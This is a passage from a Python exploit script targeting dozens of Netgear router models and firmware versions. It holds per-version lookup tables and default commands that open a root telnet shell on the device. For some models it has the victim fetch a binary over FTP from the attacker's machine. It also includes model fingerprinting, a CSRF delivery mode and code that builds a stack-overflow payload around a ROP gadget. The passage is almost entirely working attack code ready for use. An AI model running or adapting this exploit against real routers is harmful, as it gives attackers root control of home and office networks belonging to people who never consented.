"V1.0.0.16_1.0.58" : "1.0.0.16",
"V1.0.0.14_1.0.54" : "1.0.0.14",
"V1.0.0.12_1.0.49" : "1.0.0.12",
},
"WNCE3001" : {
"V1.0.0.50_1.0.35" : "1.0.0.50",
"V1.0.0.46_1.0.33" : "1.0.0.46",
"V1.0.0.44_1.0.32" : "1.0.0.44",
"V1.0.0.38": "1.0.0.38",
},
"WNDR3300" : {
"V1.0.45_1.0.45" : "1.0.45",
"V1.0.45_1.0.45NA" : "1.0.45NA",
"V1.0.29_1.0.29" : "1.0.29",
"V1.0.29_1.0.29NA" : "1.0.29NA",
"V1.0.27_1.0.27NA" : "1.0.27NA",
"V1.0.26_1.0.26" : "1.0.26",
"V1.0.26_1.0.26NA" : "1.0.26NA",
"V1.0.23_1.0.23NA" : "1.0.23NA",
"Version Detection Fail" : "1.0.14",
"Version Detection Fail" : "1.0.14NA",
},
"WNDR3300V2" : {
"V1.0.0.26_11.0.26NA" : "1.0.0.26",
},
"WNDR3400" : {
"V1.0.0.52_20.0.60" : "1.0.0.52",
"V1.0.0.50_20.0.59" : "1.0.0.50",
"V1.0.0.38_16.0.48" : "1.0.0.38",
"V1.0.0.34_15.0.42" : "1.0.0.34",
},
"WNDR3400V2" : {
"V1.0.0.54_1.0.82" : "1.0.0.54",
"V1.0.0.52_1.0.81" : "1.0.0.52",
"V1.0.0.38_1.0.61" : "1.0.0.38",
"V1.0.0.34_1.0.52" : "1.0.0.34",
"V1.0.0.16_1.0.34" : "1.0.0.16",
"V1.0.0.12_1.0.30" : "1.0.0.12",
},
"WNDR3400V3" : {
"V1.0.1.24_1.0.67" : "1.0.1.24",
"V1.0.1.22_1.0.66" : "1.0.1.22",
"V1.0.1.18_1.0.63" : "1.0.1.18",
"V1.0.1.16_1.0.62" : "1.0.1.16",
"V1.0.1.14_1.0.61" : "1.0.1.14",
"V1.0.1.12_1.0.58" : "1.0.1.12",
"V1.0.1.8_1.0.56": "1.0.1.8",
"V1.0.1.4_1.0.52": "1.0.1.4",
"V1.0.1.2_1.0.51": "1.0.1.2",
"V1.0.0.48_1.0.48" : "1.0.0.48",
"V1.0.0.46_1.0.45" : "1.0.0.46",
"V1.0.0.38_1.0.40" : "1.0.0.38",
"V1.0.0.22_1.0.29" : "1.0.0.22",
"V1.0.0.20_1.0.28" : "1.0.0.20",
},
"WNDR3700V3" : {
"V1.0.0.42_1.0.33" : "1.0.0.42",
"V1.0.0.38_1.0.31" : "1.0.0.38",
"V1.0.0.36_1.0.30" : "1.0.0.36",
"V1.0.0.30_1.0.27" : "1.0.0.30",
"V1.0.0.22_1.0.17" : "1.0.0.22",
"V1.0.0.18_1.0.14" : "1.0.0.18",
},
"WNDR4000" : {
"V1.0.2.10_9.1.89" : "1.0.2.10",
"V1.0.2.6_9.1.87": "1.0.2.6",
"V1.0.2.4_9.1.86": "1.0.2.4",
"V1.0.2.2_9.1.84": "1.0.2.2",
"V1.0.0.94_9.1.81" : "1.0.0.94",
"V1.0.0.90_9.1.79" : "1.0.0.90",
"V1.0.0.88_9.1.77" : "1.0.0.88",
"V1.0.0.82_8.0.71" : "1.0.0.82",
"V1.0.0.66_8.0.55" : "1.0.0.66",
},
"WNDR4500" : {
"V1.0.1.46_1.0.76" : "1.0.1.46",
"V1.0.1.40_1.0.68" : "1.0.1.40",
"V1.0.1.38_1.0.64" : "1.0.1.38",
"V1.0.1.36_1.0.63" : "1.0.1.36",
"V1.0.1.20_1.0.40" : "1.0.1.20",
"V1.0.1.18_1.0.36" : "1.0.1.18",
"V1.0.1.6_1.0.24": "1.0.1.6",
"V1.0.0.58_1.0.13" : "1.0.0.58",
"V1.0.0.50_1.0.12" : "1.0.0.50",
"V1.0.0.40_1.0.10" : "1.0.0.40",
},
"WNDR4500V2" : {
"V1.0.0.72_1.0.45" : "1.0.0.72",
"V1.0.0.68_1.0.42" : "1.0.0.68",
"V1.0.0.64_1.0.40" : "1.0.0.64",
"V1.0.0.62_1.0.39" : "1.0.0.62",
"V1.0.0.60_1.0.38" : "1.0.0.60",
"V1.0.0.56_1.0.36" : "1.0.0.56",
"V1.0.0.54_1.0.33" : "1.0.0.54",
"V1.0.0.50_1.0.30" : "1.0.0.50",
"V1.0.0.42_1.0.25" : "1.0.0.42",
"V1.0.0.36_1.0.21" : "1.0.0.36",
"V1.0.0.26_1.0.16" : "1.0.0.26",
},
"WNR834BV2" : {
"V2.1.13_2.1.13" : "2.1.13",
"V2.1.13_2.1.13NA" : "2.1.13NA",
"V2.0.8_2.0.8" : "2.0.8",
"V2.0.8_2.0.8NA" : "2.0.8NA",
"V1.0.32_1.0.32" : "1.0.32",
"V1.0.32_1.0.32NA" : "1.0.32NA",
},
"WNR1000V3" : {
"V1.0.2.72_60.0.96" : "1.0.2.72",
"V1.0.2.72_60.0.96NA" : "1.0.2.72NA",
"V1.0.2.68_60.0.93" : "1.0.2.68",
"V1.0.2.68_60.0.93NA" : "1.0.2.68NA",
"V1.0.2.62_60.0.87" : "1.0.2.62",
"V1.0.2.62_60.0.87NA" : "1.0.2.62NA",
"V1.0.2.60_60.0.86WW" : "1.0.2.60",
"V1.0.2.60_60.0.86NA" : "1.0.2.60NA",
"V1.0.2.54_60.0.82" : "1.0.2.54",
"V1.0.2.54_60.0.82NA" : "1.0.2.54NA",
"V1.0.2.28_52.0.60" : "1.0.2.28",
"V1.0.2.28_52.0.60NA" : "1.0.2.28NA",
"V1.0.2.26_51.0.59" : "1.0.2.26",
"V1.0.2.26_51.0.59NA" : "1.0.2.26NA",
"V1.0.2.18_47.0.52" : "1.0.2.18",
"V1.0.2.18_47.0.52NA" : "1.0.2.18NA",
"V1.0.2.4_39.0.39": "1.0.2.4",
},
"WNR2000V2" : {
"V1.2.0.8_36.0.60": "1.2.0.8",
"V1.2.0.8_36.0.60NA": "1.2.0.8NA",
"V1.2.0.6_36.0.58": "1.2.0.6",
"V1.2.0.6_36.0.58NA": "1.2.0.6NA",
"V1.2.0.4_35.0.57": "1.2.0.4",
"V1.2.0.4_35.0.57NA": "1.2.0.4NA",
"V1.0.0.40_32.0.54" : "1.0.0.40",
"V1.0.0.40_32.0.54NA" : "1.0.0.40NA",
"V1.0.0.35_29.0.47" : "1.0.0.35",
"V1.0.0.34_29.0.45" : "1.0.0.34",
"V1.0.0.34_29.0.45NA" : "1.0.0.34NA",
},
"WNR3500" : {
"V1.0.36_8.0.36NA" : "1.0.36NA",
"V1.0.30_8.0.30" : "1.0.30",
"V1.0.29_8.0.29NA" : "1.0.29NA",
"V1.0.22_6.0.22" : "1.0.22",
"V1.0.22_6.0.22NA" : "1.0.22NA",
"V1.0.15_1.0.15NA" : "1.0.15NA",
"V1.0.10_1.0.10NA" : "1.0.10NA",
},
"WNR3500V2" : {
"V1.2.2.28_25.0.85" : "1.2.2.28",
"V1.2.2.28_25.0.85NA" : "1.2.2.28NA",
"V1.0.2.14_24.0.74" : "1.0.2.14",
"V1.0.2.14_24.0.74NA" : "1.0.2.14NA",
"V1.0.2.10_23.0.70" : "1.0.2.10NA",
"V1.0.2.10_23.0.70NA" : "1.0.2.10",
"V1.0.0.64_11.0.51" : "1.0.0.64",
"V1.0.0.64_11.0.51NA" : "1.0.0.64NA",
},
"WNR3500L" : {
"V1.2.2.48_35.0.55NA" : "1.2.2.48NA",
"V1.2.2.44_35.0.53" : "1.2.2.44",
"V1.2.2.44_35.0.53NA" : "1.2.2.44NA",
"V1.2.2.40_34.0.48" : "1.2.2.40",
"V1.2.2.40_34.0.48NA" : "1.2.2.40NA",
"V1.2.2.30_34.0.37" : "1.2.2.30",
"V1.2.2.30_34.0.37NA" : "1.2.2.30NA",
"V1.0.2.50_31.1.25" : "1.0.2.50",
"V1.0.2.50_31.1.25NA" : "1.0.2.50NA",
"V1.0.2.26_30.0.98" : "1.0.2.26",
"V1.0.2.26_30.0.98NA" : "1.0.2.26NA",
"V1.0.0.88_13.0.76" : "1.0.0.88",
"V1.0.0.88_13.0.76NA" : "1.0.0.88NA",
"V1.0.0.86_13.0.75" : "1.0.0.86",
"V1.0.0.86_13.0.75NA" : "1.0.0.86NA",
},
"WNR3500LV2" : {
"V1.2.0.56_50.0.96" : "1.2.0.56",
"V1.2.0.54_50.0.94" : "1.2.0.54",
"V1.2.0.50_50.0.90" : "1.2.0.50",
"V1.2.0.48_40.0.88" : "1.2.0.48",
"V1.2.0.46_40.0.86" : "1.2.0.46",
"V1.2.0.44_40.0.84" : "1.2.0.44",
"V1.2.0.40_40.0.80" : "1.2.0.40",
"V1.2.0.38_40.0.78" : "1.2.0.38",
"V1.2.0.34_40.0.75" : "1.2.0.34",
"V1.2.0.32_40.0.74" : "1.2.0.32",
"V1.2.0.28_40.0.72" : "1.2.0.28",
"V1.2.0.26_40.0.71" : "1.2.0.26",
"V1.2.0.20_40.0.68" : "1.2.0.20",
"V1.2.0.18_40.0.67" : "1.2.0.18",
"V1.2.0.16_40.0.66" : "1.2.0.16",
"V1.0.0.14_37.0.50" : "1.0.0.14",
"V1.0.0.10" : "1.0.0.10",
},
"XR300" : {
"V1.0.3.38_10.3.30" : "1.0.3.38",
"V1.0.3.34_10.3.27" : "1.0.3.34",
"V1.0.3.26_10.3.22" : "1.0.3.26",
"V1.0.2.24_10.3.21" : "1.0.2.24",
"V1.0.2.18_10.3.15" : "1.0.2.18",
"V1.0.1.4_10.1.4" : "1.0.1.4",
},
}
# The default command, spawns a telnet daemon on TCP port 8888 (or 3333, when 8888 is already used)
default_commands = {
# These devices ask for a password if you don't specify the login program with -l
"AC1450": "/bin/utelnetd -p8888 -l/bin/sh -d",
"D8500" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"DC112A": "/bin/utelnetd -p8888 -l/bin/sh -d",
"EX6200": "/bin/utelnetd -p8888 -l/bin/sh -d",
"EX7000": "/bin/utelnetd -p8888 -l/bin/sh -d",
"R6200V2" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R6250" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R6300V2" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R6400" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R6400V2" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R6700" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R6700V3" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R6900" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R6900P": "/bin/utelnetd -p8888 -l/bin/sh -d",
"R7000" : "/bin/utelnetd -p3333 -l/bin/sh -d",
"R7000P": "/bin/utelnetd -p8888 -l/bin/sh -d",
"R7100LG" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R7300" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R7850" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R7900" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R8000" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R8300" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"R8500" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"RS400" : "/bin/utelnetd -p8888 -l/bin/sh -d",
"XR300" : "/bin/utelnetd -p8888 -l/bin/sh -d",
# These devices don't need to create the terminal devices files first
"WGT624V4": "telnetd -p8888 -l/bin/sh",
# These devices need to create the terminal device files first
"D6220": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"D6300": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"D6400": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"D7000V2": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"DGN2200": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"DGN2200M" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"DGN2200V4": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"DGND3700" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"EX3700" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"EX3800" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"EX3920" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"EX6000" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"EX6120" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"EX6130" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"EX6150" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"EX6920" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"LG2200D": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"MBM621" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"MBR624GU" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"MBR1200": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"MBR1515": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"MBR1516": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"MBRN3000" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"MVBR1210C": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"R4500": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"R6200": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"R6300": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WGR614V8" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WGR614V9" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888",
"WGR614V10": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WN2500RP" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WN2500RPV2" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WN3100RP" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WN3500RP" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNDR3300" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNDR3300V2" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNDR3400" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNDR3400V2" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNDR3400V3" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNDR3700V3" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNDR4000" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNDR4500" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNDR4500V2" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNR1000V3": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNR2000V2": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNR3500L" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNR3500V2": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNR3500LV2" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
"WNR834BV2": "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
# On some versions of the EX6100, port 8888 is already used, so use 3333 instead
"EX6100" : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p3333 -l/bin/sh",
# Some devices need different commands based on the version
"WN3000RP" : collections.defaultdict(lambda : "mknod /dev/ptyp0 c 2 0; mknod /dev/ttyp0 c 3 0; mknod /dev/ptyp1 c 2 1; mknod /dev/ttyp1 c 3 1; telnetd -p8888 -l/bin/sh",
{"1.0.2.64" : "/usr/sbin/utelnetd -p8888 -l/bin/sh -d"}),
# The WNR3500/WGT624v4 don't have the device files or mknod, we'll have the victim download it
"WNCE3001": "/usr/sbin/ftpc -f /tmp/mknod -s mknod -d LOCAL_IP_ADDRESS -u anonymous; chmod a+x /tmp/mknod; /tmp/mknod; telnetd -p8888 -l/bin/sh",
"WNR3500" : "/usr/sbin/ftpc -f /tmp/mknod -s mknod -d LOCAL_IP_ADDRESS -u anonymous; chmod a+x /tmp/mknod; /tmp/mknod; telnetd -p8888 -l/bin/sh",
}
# The default command on these devices needs to download mknod via FTP
ftp_devices = {"WNR3500" : "arm_lsb", "WNCE3001" : "mips_msb"}
###########################################################################
## Functions ##############################################################
###########################################################################
def send(ip, port, is_https, payload, keep_open = False):
if is_https:
return send_ssl(ip, port, payload, keep_open)
else:
return send_plain(ip, port, payload, keep_open)
def send_plain(ip, port, payload, keep_open):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(payload)
if keep_open:
return sock
sock.close()
def send_ssl(ip, port, payload, keep_open):
import ssl
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
wrappedSocket = ssl.wrap_socket(sock)
wrappedSocket.connect((ip, port))
wrappedSocket.send(payload)
if keep_open:
return wrappedSocket
wrappedSocket.close()
def p32(address, model):
if model in big_endian_devices:
return struct.pack(">I", address)
return struct.pack("<I", address)
def find_item(contents, start_string):
start = contents.find(start_string)
if(start == -1):
print("Failed to automatically detect version.")
sys.exit(1)
start += len(start_string)
end = contents.find("\r\n", start)
return contents[start:end].upper() # upper just in case
def detect_model_version(ip, port, is_https):
request = "GET /currentsetting.htm HTTP/1.1\r\nHost: {}\r\n\r\n".format(ip)
sock = send(ip, port, is_https, request, True)
contents = ""
while contents.find("InternetConnectionStatus") == -1 and contents.find("401 Unauthorized") == -1:
contents += sock.recv(1)
# Some older models/versions don't have the currentsetting.htm page, or it's protected by login
if contents.find("401 Unauthorized") != -1:
print("Version detection against this router is not possible using currentsetting.htm.")
print("Received response:\n{}\n".format(contents))
sys.exit(1)
model = find_item(contents, "Model=")
firmware_version = find_item(contents, "Firmware=")
if (model not in firmware_version_to_human_version.keys() or
firmware_version not in firmware_version_to_human_version[model]):
print("Unknown model and version: {} {}".format(model, firmware_version))
sys.exit(1)
return model, firmware_version_to_human_version[model][firmware_version]
def get_ip(remote_ip):
for ip in socket.gethostbyname_ex(socket.gethostname())[2]:
if not ip.startswith("127."):
return ip
for ip in [[(s.connect((remote_ip, 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]:
return ip
raise RuntimeError("Cannot get IP address")
ftp_thread = None
def start_ftp(mknod_suffix):
from twisted.protocols.ftp import FTPFactory, FTPRealm
from twisted.cred.portal import Portal
from twisted.cred.checkers import AllowAnonymousAccess
from twisted.internet import reactor
from threading import Thread
global ftp_thread
if not os.path.exists("./ftp"):
os.mkdir('./ftp')
if not os.path.exists("./ftp/mknod"):
shutil.copy('./mknod_{}'.format(mknod_suffix), './ftp/mknod')
p = Portal(FTPRealm('./ftp'), [AllowAnonymousAccess()])
f = FTPFactory(p)
reactor.listenTCP(21, f)
ftp_thread = Thread(target=reactor.run, args=(False,))
ftp_thread.start()
def stop_ftp():
from twisted.internet import reactor
global ftp_thread
reactor.stop()
ftp_thread.join()
class CSRFRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", len(self.page))
self.end_headers()
self.wfile.write(self.page)
###########################################################################
## Main Execution #########################################################
###########################################################################
def main(args):
if args.version == "" or args.model == "":
if args.csrf:
print("The model and version cannot be automatically determined in CSRF mode.")
sys.exit(1)
args.model, args.version = detect_model_version(args.ip, args.port, args.https)
print("Automatically detected model {} and version {}".format(args.model, args.version))
if args.version_only:
sys.exit(1)
if args.version not in address_info[args.model]:
print("This exploit does not have a ROP gadget for the selected version ({}).".format(args.version))
sys.exit(1)
USING_DEFAULT_COMMAND = (args.command == "START_TELNET")
if USING_DEFAULT_COMMAND:
# Resolve the default command (which may be specific to a version)
args.command = default_commands[args.model]
if type(args.command) != str:
args.command = args.command[args.version]
# if the default command uses the FTP server, we need to fixup our local IP address and start the server
if args.model in ftp_devices:
if args.local_ip == "":
args.local_ip = get_ip(args.ip)
print("Automatically detected local IP address {}".format(args.local_ip))
args.command = args.command.replace("LOCAL_IP_ADDRESS", args.local_ip)
if not args.file:
start_ftp(ftp_devices[args.model])
# Generate the payload
rop_gadget = address_info[args.model][args.version]
if type(rop_gadget) == list:
rop_gadget = [p32(x, args.model) for x in rop_gadget]
else:
rop_gadget = p32(rop_gadget, args.model)
data = ""
data += "*#$^\x00" # marker
data += "\x00\x04\x00" # size
data += "A" * 0x60
if args.model in ["D8500", "R6400", "R6400V2", "R6700", "R6700V3", "R6900", "R6900P", "R7000", "R7000P", "R7100LG", "R7300",
"R7850", "R7900", "R8000", "R8300", "R8500", "RS400", "XR300"]:
data += "B" * 0x4# r4
data += "C" * 0x4# r5
data += "D" * 0x4# r6
data += "E" * 0x4# r7
data += "F" * 0x4# r8
data += "G" * 0x4# r9
data += "H" * 0x4# r10
data += "I" * 0x4# r11
data += rop_gadget # pc
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif (
# These models all use this gadget sequence
(args.model in ["AC1450", "DC112A", "EX6200", "MBR624GU", "R6200V2", "R6300V2", "R6250", "WNR3500"])
# These models only use this gadget sequence for some versions
or (args.model == "EX7000" and args.version in ["1.0.0.66", "1.0.0.62", "1.0.0.58", "1.0.0.56", "1.0.0.50", "1.0.0.42",
"1.0.0.38", "1.0.0.36", "1.0.0.32", "1.0.0.30"])
):
data += "B" * 0x4# r5
data += "C" * 0x4# r6
data += "D" * 0x4# r7
data += "E" * 0x4# r8
data += rop_gadget # pc
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x400 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "EX7000":
# The other versions are done up above with other similar firmwares
data += "B" * 0x4# r5
data += "C" * 0x4# r6
data += "D" * 0x4# r7
data += "E" * 0x4# r8
data += "G" * 0x4# r9
data += "H" * 0x4# r10
data += rop_gadget # pc
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x400 # Pad out the payload (it needs to be at least a certain size)
elif (
# These models all use this gadget sequence
(args.model in ["MBM621", "WGR614V8", "WGT624V4", "WN2500RP", "WN2500RPV2", "WN3100RP", "WNDR3300", "WNDR3300V2",
"WNR834BV2", "WNR1000V3"])
# These models only use this gadget sequence for some versions
or (args.model == "WN3000RP" and args.version in ["1.0.1.36", "1.0.1.34", "1.0.1.18", "1.0.0.12"])
or (args.model == "WNR3500L" and args.version in ["1.0.2.50", "1.0.2.50NA", "1.0.2.26", "1.0.2.26NA", "1.0.0.88",
"1.0.0.88NA", "1.0.0.86", "1.0.0.86NA"])
or (args.model == "WNDR3400" and args.version in ["1.0.0.38", "1.0.0.34"])
or (args.model == "WNR2000V2" and args.version in ["1.0.0.40", "1.0.0.40NA", "1.0.0.35", "1.0.0.34", "1.0.0.34NA"])
or (args.model == "WNR3500V2" and args.version in ["1.0.2.14", "1.0.2.14NA", "1.0.2.10", "1.0.2.10NA","1.0.0.64",
"1.0.0.64NA"])
):
data += "B" * 0x4 # s0
data += "C" * 0x4 # s1
data += "D" * 0x4 # s2
data += "E" * 0x4 # s3
data += "F" * 0x4 # Padding
data += rop_gadget# ra
data += "G" * 0x18# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x400 # Pad out the payload (it needs to be at least a certain size)
